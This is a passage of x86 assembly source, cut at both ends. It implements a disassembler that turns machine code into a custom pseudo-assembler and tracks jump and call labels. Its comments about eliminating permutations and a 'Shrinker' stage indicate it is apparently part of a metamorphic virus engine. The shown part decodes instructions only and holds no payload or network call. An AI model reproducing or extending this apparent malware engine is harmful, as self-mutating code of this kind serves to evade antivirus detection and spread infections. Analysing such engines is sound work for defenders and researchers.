[esi+1] ; Get the value to PUSH and eax, 0FFh ; Extend the sign cmp eax, 7Fh jbe @@Op_PUSHSignedValue_01 add eax, 0FFFFFF00h ;movsx eax, byte ptr [esi+1] @@Op_PUSHSignedValue_01: mov [edi+7], eax ; Set the value add esi, 2 ; Increase the EIP jmp @@NextInstruction ;;;; GENERIC OPCODE (2nd part) ;; This opcodes are the 80h-83h ones, which are used for "OP [Mem],Value" or ;; "OP Reg,Value". Moreover, opcodes 84-85 are also decoded here (the ones that ;; make TEST). @@GenericOpcode2: and eax, 1 ; Get if it's a 8 bits or 32 bits operation or eax, eax jz @@Gen2_8b ; Jump if it's 8 bits @@Gen2_32b: mov eax, [esi+1] ; Get the operation performed and eax, 38h mov edx, [edi] ; Set it as pseudoopcode and edx, 0FFFFFF00h add eax, edx mov [edi], eax mov eax, [esi] and eax, 2 ; Get if the operation uses a DWORD or or eax, eax ; a sign-extended byte jnz @@Gen2_Gen_Signed @@Gen32Value: mov eax, [esi+1] ; Get it we use Reg,Reg and eax, 0C0h cmp eax, 0C0h jz @@Gen2_32b_Register mov eax, [edi] ; Get the opcode add eax, 4 ; Set OP Mem,Imm mov [edi], eax mov edx, esi ; Decode the memory construction add edx, 1 call DecodeMemoryConstruction add esi, ebx ; Add the length of the rest of the mov eax, [esi+1] ; instruction to get the value OPed sub esi, ebx ; Subtract it because later we'll add add esi, 3 ; it again. jmp @@Gen2_Gen_Memory @@Gen2_32b_Register: mov eax, [esi+2] ; Get the value mov [edi+7], eax ; Set it mov eax, [esi+1] ; Get the operation opcode add esi, 6 ; Add the length of the instruction jmp @@Gen2_Gen_Register @@Gen2_8b: mov eax, [esi+1] ; Get the 2nd opcode and eax, 38h ; Extract the operation and set it as add eax, 80h ; a 8 bits pseudooperation. mov edx, [edi] ; Set it and edx, 0FFFFFF00h add eax, edx mov [edi], eax @@Gen2_Gen_Signed: @@Gen8Value: mov eax, [esi+1] ; Get the 2nd opcode and eax, 0C0h cmp eax, 0C0h ; If we use a register, jump jz @@Gen2_8b_Register mov eax, [edi] ; Set "Mem" usage add eax, 4 mov [edi], eax mov edx, esi ; Decode the memory address add edx, 1 call DecodeMemoryConstruction xor eax, eax ; Get the Imm of the operation in EAX add esi, ebx mov eax, [esi+1] sub esi, ebx and eax, 0FFh cmp eax, 7Fh jbe @@Gen8Value_01 add eax, 0FFFFFF00h @@Gen8Value_01: @@Gen2_Gen_Memory: mov [edi+7], eax ; Set it in the pseudoinstruction add esi, ebx add esi, 2 ; Increase EIP and decode the next jmp @@NextInstruction ; instruction. @@Gen2_8b_Register: mov eax, [esi+2] ; Get the Imm and extend the sign and eax, 0FFh cmp eax, 7Fh jbe @@Gen2_8b_Register_01 add eax, 0FFFFFF00h @@Gen2_8b_Register_01: mov [edi+7], eax ; Set it in the pseudo-instruction mov eax, [esi+1] ; Get the 2nd opcode add esi, 3 ; Add the length of the instruction @@Gen2_Gen_Register: ; to EIP and eax, 7 ; Get the register of the instruction mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax ; Set the register jmp @@NextInstruction ; Decode the next instruction ;;;; LEA decoding @@LEA: mov eax, 0FCh ; Set the pseudoopcode of LEA mov [edi], eax mov edx, esi add edx, 1 ; Decode the memory address call DecodeMemoryConstruction mov eax, [esi+1] and eax, 38h ; Get the destiny register and set it shr eax, 3 mov [edi+7], eax add esi, ebx add esi, 1 ; Add the length of the instruction to jmp @@NextInstruction ; the EIP. ;;;; POP Mem decoding @@POPMem: mov eax, [esi+1] ; Get the operand and eax, 0C0h ; Get if we use reg or memory address cmp eax, 0C0h jz @@POPMem_butReg mov eax, 59h ; If we use a memory address, set the mov [edi], eax ; opcode and decode the memory address mov edx, esi add edx, 1 call DecodeMemoryConstruction add esi, ebx add esi, 1 jmp @@NextInstruction @@POPMem_butReg: ; If it uses a register, set it mov eax, [esi+1] and eax, 7 mov [edi+1], eax mov eax, 58h ; Set the opcode mov edx, [edi] and edx, 0FFFFFF00h add eax, edx mov [edi], eax add esi, 2 jmp @@NextInstruction ;;;; XCHG With EAX: ;; Disabled since we aren't coding XCHG ; @@XCHGWithEAX: ; mov al, [esi] ; add esi, 1 ; cmp eax, 90h ; jz @@NOP ; and eax, 7 ; mov [edi+1], al ; mov eax, 48h+5 ; mov [edi], al ; xor eax, eax ; mov [edi+7], eax ; jmp @@NextInstruction ;; NOP instruction @@NOP: mov eax, 0FFh ; Set the NOP pseudoopcode mov [edi], eax add esi, 1 jmp @@NextInstruction ;;;; MOV AL/EAX,Mem ; This one is also disabled, because we doesn't have direct memory operations ; to disassemble. ; @@MOVALMem: ; mov eax, 0C2h ; @@MOVxAxMem: ; mov [edi], eax ; mov eax, 8 ; mov [edi+1], eax ; mov [edi+2], eax ; xor eax, eax ; mov [edi+7], eax ; mov eax, [esi+1] ; mov [edi+3], eax ; add esi, 5 ; jmp @@NextInstruction ; @@MOVEAXMem: ; mov eax, 42h ; jmp @@MOVxAxMem ;;;; MOV Mem,AL/EAX ; @@MOVMemAL: ; mov eax, 0C3h ; jmp @@MOVxAxMem ; @@MOVMemEAX: ; mov eax, 43h ; jmp @@MOVxAxMem ;;;; TEST AL,Value decodification @@TESTALValue: mov eax, [esi+1] ; Get the value and eax, 0FFh mov ecx, eax ; Put it in ECX mov eax, 0C8h ; Put the pseudoopcode in EAX add esi, 2 @@TESTxAxValue: mov [edi], eax ; Set the pseudoopcode xor eax, eax ; Set the register mov [edi+1], eax mov [edi+7], ecx ; Set the value jmp @@NextInstruction ;;;; TEST EAX,Value @@TESTEAXValue: mov ecx, [esi+1] ; Get the Imm in ECX mov eax, 48h ; 48h = TEST pseudoopcode add esi, 5 ; Increase the EIP jmp @@TESTxAxValue ;;;; MOV Reg,Value decodification @@MOVRegValue: mov eax, 40h ; 40h = MOV pseudoopcode mov [edi], eax mov ecx, [esi+1] ; Get the value in ECX mov eax, [esi] add esi, 5 @@MOVRegValue_Common: and eax, 7 ; Get the register in EAX mov [edi+1], eax ; Set the register mov [edi+7], ecx ; Set the value jmp @@NextInstruction @@MOVReg8Value: mov eax, 0C0h mov [edi], eax ; C0 = MOV 8 bits mov eax, [esi+1] ; Get the Imm to move and eax, 0FFh mov ecx, eax mov eax, [esi] ; Get the opcode to extract the register add esi, 2 jmp @@MOVRegValue_Common ;;;; ROL/ROR/etc. decodification @@BitShifting32: mov eax, 0F0h ; Pseudoopcode SHIFT @@BitShifting_Common: mov [edi], eax ; Set the pseudoopcode mov eax, [esi+1] ; Get the 2nd opcode and eax, 38h ; Extract the operation mov edx, [edi+8] ; Set it at +8 in the instruction and edx, 0FFFFFF00h add eax, edx mov [edi+8], eax mov eax, [esi+1] ; Get the operand type and eax, 0C0h cmp eax, 0C0h jz @@BS32_Reg ; If it's a Reg, jump mov eax, [edi] add eax, 1 mov [edi], eax ; Set SHIFT Mem,x mov edx, esi add edx, 1 ; Decode the memory operand call DecodeMemoryConstruction @@BS32_Common: mov eax, [esi] ; Get the opcode and eax, 0FFh cmp eax, 0D0h ; Check if it's SHIFT,1 or SHIFT,x jb @@BS32_GetNumber ; If it's ,x jump mov eax, 1 ; Set 1 as shifting value sub esi, 1 jmp @@BS32_SetNumber @@BS32_GetNumber: add esi, ebx ; Get the value of shifting mov eax, [esi+1] sub esi, ebx @@BS32_SetNumber: and eax, 1Fh ; Trim the bits ignored implicitly mov edx, [edi+7] ; Set the shifting value (byte) at +7 and edx, 0FFFFFF00h ; in the disassembly of the instr. add eax, edx mov [edi+7], eax add esi, ebx add esi, 2 jmp @@NextInstruction @@BS32_Reg: mov eax, [esi+1] ; Get the register and eax, 7 mov [edi+1], eax ; Set it mov ebx, 1 ; Jump to finish the decoding jmp @@BS32_Common @@BitShifting8: mov eax, 0F2h ; Set SHIFT8 jmp @@BitShifting_Common ;;;; MOV [Mem8],Value (or MOV Reg8,Value) decoding (opcode C6) @@MOVMem8Value: mov eax, 0C4h ; Set the opcode as MOV Mem8,xxx mov [edi], eax mov eax, [esi+1] ; Get the 2nd opcode and eax, 0C0h ; Register or memory address? cmp eax, 0C0h jz @@MOVMem8_RegValue ; If register, jump mov edx, esi add edx, 1 ; Decode the memory address call DecodeMemoryConstruction add esi, ebx ; Add the length of the operand add esi, 1 @@MOVMem8Value_Common: mov eax, [esi] ; Get the value we are moving and eax, 0FFh ; Extend the sign cmp eax, 7Fh jbe @@MOVMem8Value_01 add eax, 0FFFFFF00h @@MOVMem8Value_01: mov [edi+7], eax ; Set it in the pseudoinstruction add esi, 1 jmp @@NextInstruction @@MOVMem8_RegValue: mov eax, 0C0h ; C0 = MOV Reg8,Imm mov [edi], eax ; Set the pseudoopcode mov eax, [esi+1] and eax, 7 mov [edi+1], eax ; Set the register add esi, 2 jmp @@MOVMem8Value_Common ; Jump to finish the decoding ;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7) @@MOVMem32Value: mov eax, 44h ; 44h = MOV Mem,Imm (in our assembler) mov [edi], eax ; Set the pseudoopcode mov eax, [esi+1] ; Get the 2nd opcode and eax, 0C0h cmp eax, 0C0h ; Memory address or register? jz @@MOVMem32_RegValue ; Jump if it's register mov edx, esi add edx, 1 ; Decode the memory address call DecodeMemoryConstruction add esi, ebx ; Add the operand length add esi, 1 mov eax, [esi] ; Get the Imm to move mov [edi+7], eax ; Set it in the disassembly add esi, 4 ; Increase the EIP jmp @@NextInstruction @@MOVMem32_RegValue: mov eax, 40h ; 40h = MOV Reg32,Imm32 mov [edi], eax ; Set the pseudoopcode mov eax, [esi+1] and eax, 7 mov [edi+1], eax ; Get the register and set it mov eax, [esi+2] ; Get the immediate value and set it mov [edi+7], eax add esi, 6 ; Add the instruction length to the EIP jmp @@NextInstruction ;;;; Some not very common instructions ;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV. ;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG. @@SomeNotVeryCommon8: mov eax, [esi+1] ; Get the operation and eax, 38h or eax, eax ; 0 is TEST jz @@TEST8Value shr eax, 1 ; If it's not TEST, it is NOT or NEG add eax, 0DAh ; EAX = E2/E6 @@SNVC_Gen: mov [edi], eax ; Set the opcode mov eax, [esi+1] ; Check if we use register or memory and eax, 0C0h cmp eax, 0C0h jz @@NOTNEGReg8 ; If register, jump mov eax, [edi] ; Set memory usage add eax, 1 mov [edi], eax mov edx, esi ; Decode the memory address operand add edx, 1 call DecodeMemoryConstruction add esi, ebx ; Add the length of the operand add esi, 1 jmp @@NextInstruction @@NOTNEGReg8: mov eax, [esi+1] ; Get the register involved and eax, 7 mov edx, [edi+1] and edx, 0FFFFFF00h add eax, edx mov [edi+1], eax ; Set it add esi, 2 ; Increase the EIP jmp @@NextInstruction @@SomeNotVeryCommon32: mov eax, [esi+1] ; Get the operation and eax, 38h or eax, eax ; If it's TEST, jump to disasm it jz @@TEST32Value shr eax, 1 add eax, 0D8h ; E0/E4 jmp @@SNVC_Gen ; Jump to decode the rest of the instr. @@TEST8Value: mov eax, 0C8h ; Set TEST 8 bits opcode mov [edi], eax jmp @@Gen8Value ; Jump to decode the rest @@TEST32Value: mov eax, 48h ; Set TEST 32 bits opcope mov [edi], eax jmp @@Gen32Value ; Jump to decode the rest ;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly @@INCDECMem8: mov eax, [esi+1] ; Get the operation and eax, 38h or eax, eax ; INC? jz @@INCMem8 ; Then, jump @@DECMem8: mov eax, 0ACh ; ACh = Opcode of SUB Mem8,Imm8 @@INCDECMem8_Next: mov [edi], eax ; Set the opcode mov eax, [esi+1] ; Get the type of operand and eax, 0C0h cmp eax, 0C0h ; If we use a register operand, jump jz @@INCDECReg8 @@INCDECPUSH_Gen: mov edx, esi ; Here if we use INC/DEC/PUSH Mem add edx, 1 ; Decode the memory operand call DecodeMemoryConstruction add esi, ebx add esi, 1 mov eax, 1 ; We insert a 1 as a Imm even if it's mov [edi+7], eax ; PUSH, JMP or CALL, since we will ; ignore this field for them mov eax, [edi] and eax, 0FFh cmp eax, 0EBh ; Did we decode JMP DWORD PTR [xxx]? jnz @@NextInstruction ; Then, get a new EIP (treat it as ; a RET) add edi, 10h ; Increase the storadge EIP and get a jmp @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI) @@INCDECReg8: mov eax, [edi] ; Get the opcode sub eax, 4 ; Convert it to OP Reg mov [edi], eax mov eax, [esi+1] ; Get the register and eax, 7 mov [edi+1], eax ; Set it in the instruction mov eax, 1 ; Set "1" value for addition and mov [edi+7], eax ; subtraction add esi, 2 jmp @@NextInstruction @@INCMem8: mov eax, 84h ; Set ADD Mem8,Imm8 jmp @@INCDECMem8_Next ;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits) @@INCDECPUSHMem32: mov eax, [esi+1] ; Get the operand type and eax, 38h or eax, eax ; INC? jz @@INCMem32 cmp eax, 08h ; DEC? jz @@DECMem32 cmp eax, 10h ; CALL? jz @@CALLMem32 cmp eax, 20h ; JMP? jz @@JMPMem32 @@PUSHMem32: mov eax, [esi+1] ; Decode PUSH. Look if it uses a reg. and eax, 0C0h ; or a memory address cmp eax, 0C0h jz @@PUSHMem32_Reg mov eax, 51h ; EAX = 51h, pseudoopcode of PUSH Mem mov [edi], eax jmp @@INCDECPUSH_Gen @@PUSHMem32_Reg: mov eax, 50h ; 50h = Opcode of PUSH Reg @@INCDECPUSH_GenMem32_Reg: mov [edi], eax ; Set the opcode mov eax, [esi+1] ; Get the operand register and eax, 7 mov [edi+1], eax mov eax, 1 ; Set "1" as immediate value (for INCs mov [edi+7], eax ; and DECs, and ignored for the others) add esi, 2 mov eax, [edi] ; Get the opcopde and eax, 0FFh cmp eax, 0EDh ; Did we decode JMP Reg? jnz @@NextInstruction add edi, 10h ; If so, treat it as a RET jmp @@GetEIPFromFutureLabelList ;; Here if we decoded INC @@INCMem32: mov eax, [esi+1] ; Get the opcode and eax, 0C0h ; Check if it uses a register or a cmp eax, 0C0h ; memory address as operand jz @@INCReg32 mov eax, 4 ; If Mem, set ADD Mem,Imm jmp @@INCDECMem8_Next @@INCReg32: xor eax, eax ; If Reg, set ADD Reg,Imm jmp @@INCDECPUSH_GenMem32_Reg ;; Here if we decoded DEC @@DECMem32: mov eax, [esi+1] ; Get if it uses a memory address or and eax, 0C0h ; a register cmp eax, 0C0h jz @@DECReg32 mov eax, 2Ch ; Set SUB Mem,Imm jmp @@INCDECMem8_Next @@DECReg32: mov eax, 28h ; Set SUB Reg,Imm jmp @@INCDECPUSH_GenMem32_Reg ;; Here if we decoded CALL Mem (or CALL Reg) @@CALLMem32: mov eax, [esi+1] and eax, 0C0h ; Get the type of operand cmp eax, 0C0h jz @@CALLMem32_Reg mov eax, 0EAh ; Set CALL Mem mov [edi], eax jmp @@INCDECPUSH_Gen @@CALLMem32_Reg: mov eax, 0ECh ; Normally APIs jmp @@INCDECPUSH_GenMem32_Reg @@JMPMem32: mov eax, [esi+1] and eax, 0C0h cmp eax, 0C0h jz @@JMPMem32_Reg mov eax, 0EBh ; Normally to simulate RET, so treat it mov [edi], eax ; as a RET (after decoding) jmp @@INCDECPUSH_Gen @@JMPMem32_Reg: mov eax, 0EDh ; Treat it also as a RET (coz it's a jump jmp @@INCDECPUSH_GenMem32_Reg ; with undefined destiny) @@NextInstruction: add edi, 10h ; Increase storadge EIP jmp @@ContinueDissasembly ;;;; RET disassembly @@RET: mov eax, 0FEh ; Insert the opcode mov [edi], eax inc esi add edi, 10h ; Increase the storing EIP and get a new jmp @@GetEIPFromFutureLabelList ; EIP for ESI. If there ; aren't more, finish. ;;;; JMP SHORT @@JMP8: mov eax, [esi+1] ; Get the displacement and eax, 0FFh cmp eax, 7Fh jbe @@JMP8_01 add eax, 0FFFFFF00h @@JMP8_01: add eax, 2 ; Add the length of the instruction to add eax, esi ; the read EIP jmp @@JMP_Next01 ;;;; JMP LONG @@JMP: mov eax, [esi+1] ; Get the displacement add eax, 5 add eax, esi ;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change ;; the offset of the label, we only have to update the address at the table, ;; and all the references are automatically updated. @@JMP_Next01: mov ebx, [ebp+InstructionTable] cmp ebx, edi jz @@NoInstructions @@FindDestinyInTable: cmp [ebx+0Ch], eax ; Check with the pointer to the real jz @@SetLabel ; instruction, and set label if we ; found it. add ebx, 10h cmp ebx, edi jnz @@FindDestinyInTable @@NoInstructions: mov ecx, 0FFh ; Set a NOP if we didn't disassembled mov [edi], ecx ; yet the instruction. So, change the add edi, 10h ; read EIP (at ESI) directly without mov esi, eax ; inserting the jump. In this way, jmp @@LoopTrace ; the disassembling is automatically ; eliminating the permutations. @@SetLabel: mov ecx, 0E9h ; Set JMP pseudoopcode mov [edi], ecx mov edx, esi ; Set the new pointer mov [edi+0Ch], edx add edi, 10h push eax mov eax, [esi] ; Get the instruction and eax, 0FFh mov ecx, eax pop eax cmp ecx, 0EBh ; Check if it's a short JMP jz @@Add2ToEIP ; If it is, increase the EIP only by 2 add esi, 3 @@Add2ToEIP: add esi, 2 call InsertLabel ; Insert the label mov [edi+1-10h], edx ; Set the label in the instruction ;; When we arrive here we scan for a label that isn't disassembled yet, We ;; check if we disassembled the pointing code while we didn't arrive here. ;; If the code is already disassembled, we set the label and we check other ;; pointers until we found one that it isn't scanned. If all them are alredy ;; disassembled, we finish because all the reachable code is disassembled. @@GetEIPFromFutureLabelList: mov ecx, [ebp+NumberOfLabelsPost] or ecx, ecx ; If there aren't labels, exit jz @@FinDeTraduccion mov ebx, [ebp+FutureLabelTable] @@LoopCheckForNewEIP: mov eax, [ebx] ; Get a label or eax, eax ; Is it empty? jnz @@GetNewEIP ; If not, we found one add ebx, 8 ; Check next sub ecx, 1 or ecx, ecx ; Have we scanned all them? jnz @@LoopCheckForNewEIP jmp @@FinDeTraduccion ; If so, exit from disassembler @@GetNewEIP: mov esi, [ebx] jmp @@LoopTrace ;;; Instructions beginning with 0F @@Opcode0F: mov eax, [esi+1] ; Get the second opcode and eax, 0FFh cmp eax, 80h ; Long Jcc? jb @@Op0F_Next00 cmp eax, 8Fh jbe @@Jcc32 ; If so, jump @@Op0F_Next00: cmp eax, 0B6h ; MOVZX? jz @@Op0F_MOVZX ; cmp eax, 0BEh ; jz @@Op0F_MOVSX add esi, 2 ; Add two to the EIP and continue jmp @@SigueInstr ;; I decided to make MOVSX instruction using direct checking and ;; sign extension, because this instruction have little variation when ;; recoding (or it is too much long). Anyway, I left the code (commented) ;; because maybe I decide to put it again, to disassemble whatever code I ;; want to pass to this routine, for example (and not only a semi-controlled ;; code as the engine is). @@Op0F_MOVZX: mov eax, 0F8h ; Set the pseudoopcode F8 ; jmp @@Op0F_MOVxX ; @@Op0F_MOVSX: ; mov eax, 0FAh ; @@Op0F_MOVxX: mov [edi], eax mov eax, [esi+2] ; Get the destiny register and eax, 38h shr eax, 3 mov [edi+7], eax ; Set it in the instruction ; mov eax, [esi+2] ; and eax, 0C0h ; cmp eax, 0C0h ; jz @@Op0F_MOVxX_RegReg8 ; mov eax, [edi] ; add eax, 1 ; mov [edi], al mov edx, esi ; Decode the referenced memory address add edx, 2 call DecodeMemoryConstruction add esi, ebx add esi, 2 jmp @@NextInstruction ; @@Op0F_MOVxX_RegReg8: ; mov eax, [esi+2] ; and eax, 7 ; mov [edi+1], eax ; add esi, 3 ; jmp @@NextInstruction ;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs: ;; ;; - If the code exists, translate the destiny address of the point into a ;; label in the label table, and complete the instruction with that label. ;; If the label already exists, use the already existent label, of course. ;; ;; - If the code doesn't exist, we put a reference to this instruction in ;; the "future label table", together with a reference to the code it's ;; trying to access. Later, when that referenced code is disassembled, ;; the instruction (Jcc, CALL, etc.) will be completed. ;;; Conditional 32-bit jump (Jx, JNx) @@Jcc32: mov eax, [esi+2] ; Get the destiny address in EAX add eax, esi add eax, 6 jmp @@ContinueWithBranchInstr ;;; CALL @@CALL: mov eax, [esi+1] ; Get the destiny address in EAX add eax, esi add eax, 5 jmp @@ContinueWithBranchInstr ;;; Conditional 8-bits jump (Jx, JNx) @@Jcc: mov eax, [esi+1] ; Get the destiny address in EAX and eax, 0FFh cmp eax, 7Fh jbe @@Jcc_01 add eax, 0FFFFFF00h @@Jcc_01: add eax, esi add eax, 2 @@ContinueWithBranchInstr: mov ecx, eax ; Put the destiny addr. in ECX call SetInFutureLabelList ; Mark the label and get the push eax ; label table entry in EAX mov eax, [esi] and eax, 0FFh ; Get the opcode cmp eax, 0Fh ; 0F? (i.e. long Jcc) jz @@Jcc_Jcc32 ;mov [edi], al cmp eax, 0E8h ; CALL? jz @@Jcc_AddEIP5 ; Then add 5 to EIP. If not, add 2. jmp @@Jcc_AddEIP2 @@Jcc_Jcc32: mov eax, [esi+1] ; Get the conditional jump and eax, 0FFh sub eax, 10h ; Transform it to pseudoopcode @@Jcc_AddEIP6: inc esi @@Jcc_AddEIP5: add esi, 3 @@Jcc_AddEIP2: add esi, 2 ; Increase the EIP mov edx, [edi] ; Set the pseudoopcode in EAX and edx, 0FFFFFF00h and eax, 0FFh add eax, edx mov [edi], eax pop eax or eax, eax ; Restore the label table entry pointer. jz @@NextInstruction ; If it's 0, is because it wasn't ; scanned, so go for next instruction. call InsertLabel ; Insert the label if the EIP was already mov [edi+1], edx ; disassembled, and insert it in the jmp @@NextInstruction ; instruction, completing it. @@FinDeTraduccion: ; Return! ret DisasmCode endp ;; This function is constructed to save lines of code, because this same ;; method was called from several points. GenOp_SetRegReg proc push edx mov edx, [edi] and edx, 0FFFFFF00h mov eax, [esi] ; Get the opcode and eax, 0FFh cmp eax, 3Fh ; Check the instruction. If it's <= 3F, jbe @@SRR_01 ; set the same opcode + 1 cmp eax, 85h ; TEST? jbe @@SRR_02 ; cmp eax, 87h ; XCHG? ; jbe @@SRR_03 cmp eax, 8Bh ; MOV? jbe @@SRR_04 @@SRR_01: and eax, 38h ; Set the OP Reg,Reg add eax, 1 @@SRR_Store: add eax, edx mov [edi], eax ; Store the opcode pop edx ret ; Return @@SRR_02: mov eax, 48h+1 ; Pseudoopcode of TEST Reg,Reg jmp @@SRR_Store ; @@SRR_03: mov eax, 48h+5 ; jmp @@SRR_Store @@SRR_04: mov eax, 40h+1 ; Pseudoopcode of MOV Reg,Reg jmp @@SRR_Store GenOp_SetRegReg endp ;; Function to insert a label from a Jcc or a CALL to future disassembly. If ;; the label is already disassembled, it returns EAX != 0, being EAX the ;; code referenced. If it's not disassembled, we store the label in the table ;; and we'll check for it everytime a leaf of the execution tree is finished. SetInFutureLabelList proc mov ebx, [ebp+InstructionTable] ; Get the instructions cmp ebx, edi ; Are we at the end already? jz @@SetFutureLabel ; If so, we didn't find that, so @@LoopCheckLabelForJcc: ; insert the label. cmp [ebx+0Ch], eax jz @@Jcc_CodeDefined ; If the code is disassembled, return add ebx, 10h cmp ebx, edi ; Get next instruction jnz @@LoopCheckLabelForJcc @@SetFutureLabel: ; We didn't find it! mov edx, [ebp+NumberOfLabelsPost] shl edx, 3 add edx, [ebp+FutureLabelTable] mov [edx], eax ; Store the instruction and the mov [edx+4], edi ; referenced destiny address. mov eax, [ebp+NumberOfLabelsPost] add eax, 1 ; Increase the number mov [ebp+NumberOfLabelsPost], eax ; of labels. xor eax, eax ; Return 0 @@Jcc_CodeDefined: ret SetInFutureLabelList endp ;; Function InsertLabel ;; Simply inserts the address passed into the definitive label list. ;; ;; Params: ;; EAX = Destination address of jump (or call, etc.) ;; EBX = Instruction in list (dissasembled) where EAX points to ;; Returns: ;; ECX undefined ;; EDX = Address in the list where the label has been stored (formerly ;; the type of label we'll use in the instructions). InsertLabel proc mov edx, [ebp+LabelTable] ; Get the table mov ecx, [ebp+NumberOfLabels] or ecx, ecx ; Check if there's any jz @@Jcc_InsertaEtiqueta ; If not, insert at first pos. @@Jcc_LoopEtiqueta: cmp [edx], eax ; Check if it exists already jz @@Jcc_EtiquetaYaPuesta ; If it exists, return the ptr add edx, 8 dec ecx ; Check next or ecx, ecx jnz @@Jcc_LoopEtiqueta @@Jcc_InsertaEtiqueta: ; We didn't find the address, so let's mov [edx], eax ; insert the new label and return the mov [edx+4], ebx ; pointer push eax mov eax, [ebx+0Bh] ; Set the label mark in the instruction and eax, 0FFFFFF00h ; we are referencing add eax, 1 mov [ebx+0Bh], eax mov eax, [ebp+NumberOfLabels] ; Increase the counter of add eax, 1 ; labels stored in the table mov [ebp+NumberOfLabels], eax pop eax ; Return the label pointer address @@Jcc_EtiquetaYaPuesta: ret InsertLabel endp ;; This function scans the "future labels table" and looks if every entry in ;; the table is pointing to the current EIP. If it is, it inserts a label in ;; the "definitive label table", completes the referenced instruction and ;; continues the check until all the temporary labels that points to that code ;; are released. ReleaseFutureLabels proc mov ecx, [ebp+NumberOfLabelsPost] ; Check the number or ecx, ecx jz @@SigueInstr ; If it's 0, return mov ebx, [ebp+FutureLabelTable] @@LoopCheckFutureLabel: cmp [ebx], esi ; Check if the current EIP is in the jz @@FutureLabelFound ; table. If it is, release it. @@OtraEtiquetaFutura: add ebx, 8 ; Get the next dec ecx or ecx, ecx ; If there are more, loop jnz @@LoopCheckFutureLabel @@SigueInstr: ret @@FutureLabelFound: push ecx push ebx ; Insert a label into the current EIP mov eax, esi mov ebx, edi call InsertLabel pop ebx ; Returns EDX = label entry mov eax, [ebx+4] ; Get the address of the instruction to mov [eax+1], edx ; complete and complete it. xor ecx, ecx mov [ebx], ecx ; Eliminate the buffered label pop ecx jmp @@OtraEtiquetaFutura ; Jump to get another ReleaseFutureLabels endp ;; This function decodes a memory reference in an opcode which is pointed by ;; EDX. Since the struct we use for memory codifications is common for all ;; the instructions of the pseudoassembler, the decodification of the memory ;; reference opcodes and fields are equal for all them. ;; ;; EDX = Address to get opcodes from. ;; We must ensure that it's a memory construction. ;; Returns EBX = Length of the memory reference opcodes (opcodes and addition) DecodeMemoryConstruction proc mov eax, 00000808h ; Initialize the memory structure mov [edi+1], eax xor eax, eax mov [edi+3], eax mov ebx, 1 ; Set a length of 1 (at least this ; opcode) mov eax, [edx] ; Get the opcode and eax, 7 ; Special opcode? cmp eax, 4 jz @@ThirdOpcodeUsed ; If so, a third opcode is used cmp eax, 5 ; Direct memory address? jz @@DirectMemory ; Jump, then @@SetBaseRegister: mov eax, [edx] ; Get the base index and eax, 7 push edx mov edx, [edi+1] ; Set it and edx, 0FFFFFF00h add eax, edx pop edx mov [edi+1], eax mov eax, [edx] ; Get the type of addition: and eax, 0C0h or eax, eax ; No addition? jz @@NoAddition cmp eax, 40h ; Byte (with sign extension)? jz @@ByteAddition @@DwordAddition: add ebx, 4 ; Set dword addition (length of 4) mov eax, [edx+1] ; Get the addition and set it in the jmp @@SetAddition ; pseudoassembler instruction @@ByteAddition: add ebx, 1 ; Set a byte addition (length of 1) mov eax, [edx+1] ; Get the addition and eax, 0FFh ; Extend the sign cmp eax, 7Fh jbe @@SetAddition add eax, 0FFFFFF00h @@SetAddition: mov [edi+3], eax ; Set the addition value in the instr. @@NoAddition: ret ; Return @@DirectMemory: mov eax, [edx] ; Get the DWORD of the address and eax, 0C0h or eax, eax ; Check if it's EBP jnz @@SetBaseRegister ; If it's EBP, jump to decode it jmp @@DwordAddition ; If not, set the addition as a direct ; memory address ;; Here if we use a third opcode @@ThirdOpcodeUsed: add ebx, 1 ; Add one more byte to the length mov eax, [edx+1] ; Get the third opcode and eax, 38h ; Check the middle index shr eax, 3 cmp eax, 4 ; If it's ESP then we use only one jz @@IgnoreScalarRegister mov ecx, eax ; Get the multiplicator (or scalar) mov eax, [edx+1] ; from the bits 7&6 of the third and eax, 0C0h ; opcode, and after that set the or eax, ecx ; register into the pseudoassembler push edx ; instruction mov edx, [edi+2] and edx, 0FFFFFF00h and eax, 0FFh add eax, edx pop edx mov [edi+2], eax @@IgnoreScalarRegister: mov eax, [edx] ; Get the second opcode and eax, 0C0h ; Are we adding something? or eax, eax ; If we don't, EBP in the low bits of jz @@EBPMeansDwordAddition ; the third opcode means DWORD mov eax, [edx+1] ; addition and eax, 7 ; Get the low index at 3rd push edx mov edx, [edi+1] ; Set the index at first position and edx, 0FFFFFF00h ; in the memory struct add eax, edx pop edx mov [edi+1], eax mov eax, [edx] ; Get the addition from the 2nd opcode and eax, 0C0h cmp eax, 40h jz @@ByteAddition2 ; Byte addition (sign extended)? @@DwordAddition2: add ebx, 4 ; Add the DWORD addition length, get mov eax, [edx+2] ; the addition DWORD and jump. jmp @@SetAddition2 @@ByteAddition2: add ebx, 1 ; Set BYTE addition length, get the mov eax, [edx+2] ; addition BYTE, extend the sign of and eax, 0FFh ; it and store it cmp eax, 7Fh jbe @@SetAddition2 add eax, 0FFFFFF00h @@SetAddition2: mov [edi+3], eax ; Store the addition and return ret @@EBPMeansDwordAddition: mov eax, [edx+1] ; Get the low register at 3rd opcode and eax, 7 cmp eax, 5 ; Check if it's EBP jz @@DwordAddition2 ; If it isn't, jump to decode only the push edx ; addition (EBP is a special case in mov edx, [edi+1] ; this case) and edx, 0FFFFFF00h add eax, edx ; If not, set the index register at pop edx ; the first slot of the index position mov [edi+1], eax ; in the memory reference structure ret ; and return. DecodeMemoryConstruction endp ;; ;; ;; End of the disassembler ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; KEYWORD: Key_!Shrinker ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; *********************************************************************** ;;; 